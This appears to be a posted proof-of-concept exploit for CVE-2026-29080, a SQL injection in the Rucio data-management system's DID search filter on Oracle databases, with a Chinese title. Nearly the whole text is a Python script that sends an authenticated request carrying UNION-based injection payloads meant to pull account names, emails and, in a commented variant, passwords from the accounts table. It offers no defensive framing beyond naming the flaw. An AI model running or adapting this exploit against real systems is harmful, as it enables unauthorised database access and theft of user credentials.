CVE-2026-29080 Rucio SQL注入漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-29080 (Rucio SQL Injection) Target: Rucio instances running on Oracle DB. Description: Exploits the lack of parameterization in FilterEngine.create_sqla_query(). """ import requests # Configuration TARGET_HOST = "http://vulnerable-rucio-instance:8080" SCOPE = "test" # Valid scope is required AUTH_TOKEN = "<VALID_RUCIO_AUTH_TOKEN>" # Need authentication (PR:L) # The vulnerability is in the DID search endpoint. # The 'key' and 'value' parameters in the filter are interpolated via .format() # into sqlalchemy.text(). # Payload attempts a simple boolean-based blind injection or UNION based. # Example Payload: ' OR 1=1-- (This might alter the query logic) # For Oracle, we might try: ' UNION SELECT NULL, username, password FROM accounts-- malicious_filter = { # The parameter names might vary based on implementation, # typically passed as query params for filtering. # Assuming the endpoint parsesJSON or query params for 'key' and 'value'. "key": "test_key", "value": "test_value' UNION SELECT NULL, account, email FROM accounts-- " } url = f"{TARGET_HOST}/dids/{SCOPE}/dids/search" headers = { "X-Rucio-Auth-Token": AUTH_TOKEN, "Accept": "application/json" } try: print(f"Sending request to {url}...") response = requests.get(url, headers=headers, params=malicious_filter, timeout=10) if response.status_code == 200: print("[+] Request successful!") print("[+] Response body:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")